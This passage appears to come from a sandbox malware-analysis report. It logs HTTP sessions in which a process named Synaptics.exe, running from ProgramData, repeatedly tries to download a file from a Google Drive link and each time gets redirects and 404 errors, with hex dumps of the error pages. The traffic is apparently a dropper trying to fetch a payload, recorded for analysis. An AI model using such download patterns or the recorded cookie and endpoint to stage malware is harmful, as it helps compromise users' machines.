ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	49904	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:53 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-a2FwKHFemobMbPaaW_gbqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	49907	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:54 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-XLoxw6hcNWGvYuKr0KsKSQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	49908	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:54 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:54 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4pJF5E7N14CAHEOi8ukzyyDWV6LS3TK_U2AZKmKK0UzvPOvW5Pkc6whTSTHu0h_bvw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:54 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JjDg2yKesir_Ssj-OouClg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:54 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:54 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 57 6b 54 46 71 59 63 54 37 49 51 59 69 50 45 61 52 47 46 33 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="SWkTFqYcT7IQYiPEaRGF3A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:54 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	49910	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:54 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-SJeYafZPATzpho78KIin1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	49909	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:54 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:54 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4rJyM8i1xgeUK9qlbmqXBEDkR0Z7mjvpxGolk030zQwrUXnrVKCwcyhcon9bN-B8QaBIKPyDI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:54 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dm-mHsimx53DjXcL99OQ9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:54 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:54 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 57 52 57 59 37 32 35 33 4b 46 39 2d 59 74 2d 43 38 46 51 57 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="MWRWY7253KF9-Yt-C8FQWA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:54 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	49911	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:55 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-eAw4IcffjKt5e2NoxPqttg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	49913	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:55 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:55 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC726H5YqviZBQ4RGDqwbQqcD4oNg426WMoONU1Ml-W7v7z0F5e5jfph3VfpB26IuLIl Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:55 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JU0KlLPajN4sitO3Eso3DQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:55 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:55 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 78 4d 75 66 76 43 70 67 49 6e 30 65 39 65 74 45 77 53 6a 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="NxMufvCpgIn0e9etEwSjFg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:55 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	49912	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:55 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aL_Lk9D40HCVY8o4VxiaRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	49916	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:55 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:55 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4eMrPG1C1x47DTLC68Mm6npv2_lGMhUJ2K8XUv1s7OIKFZhm5b3P32CftcHD7fH4rz Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:55 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6Q_tuRH3eFIoGO9cSa_7yg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
